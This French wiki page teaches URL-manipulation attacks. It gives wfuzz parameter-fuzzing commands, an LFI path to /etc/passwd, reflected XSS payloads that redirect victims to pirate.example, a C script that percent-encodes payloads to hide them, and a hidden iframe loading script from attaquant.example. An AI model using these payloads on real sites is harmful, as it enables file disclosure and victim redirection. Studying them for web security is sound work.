Modification d'URL

De wiki.nexiat.fr
(Redirigé depuis Securite:modification url)
Aller à la navigation Aller à la recherche
Fiche express
Domaine Attaque web / fuzzing
Techniques Tampering de paramètres, LFI, XSS réfléchi
Outil Wfuzz
Voir aussi Méthodologie d'attaque web · Iframe

La modification d'URL regroupe les manipulations des paramètres passés dans l'URL : altération de valeurs, inclusion de fichier (LFI), injection de code JavaScript. Ces modifications se font le plus souvent à la main mais peuvent être automatisées.

Exemples

  • chercher une variable du type admin=0 / user=user et la modifier en admin=1 / user=admin ;
  • inclusion de fichier : pages=presentation.html devient ../../../../../../etc/passwd (passwd).
python wfuzz.py -c -z range -r 0-100 --hc 404 --html \
  http://localhost/fog/index.php?log_formid=FUZZ 2>fog_scan1.html

Injection de JavaScript (XSS réfléchi)

Si une variable est réaffichée dans la page, tester :

<script>alert('test')</script>

Si cela fonctionne, on peut rediriger la victime :

<script>document.location='http://pirate.example'</script>

On fournit alors à la cible l'URL qui redirige automatiquement. Pour masquer les caractères :

  • <%3C
  • >%3E

Script C d'encodage (chaque caractère est remplacé par % suivi de sa valeur hexadécimale) :

#include <stdio.h>
#include <string.h>
int main() {
    int i;
    char chaine[1000];
    char p = 37;   /* '%' */
    printf("saisir la chaine a encoder : ");
    scanf("%s", chaine);
    for (i = 0; i < strlen(chaine); i++)
        printf("%c%x", p, chaine[i]);
    printf("\n\n");
    return 0;
}

Cette faille, rare, peut être dissimulée dans une iframe (voir Iframe) :

<iframe width="0" height="0" src="attaquant.example/js_attaque/"></iframe>

Énumération de paramètres avec un dictionnaire :

python wfuzz.py -c -z file -f wordlist/big.txt --hc 404 --html \
  http://localhost/fog/index.php?log_forumid=FUZZ 2>fog_scanid.html

Voir aussi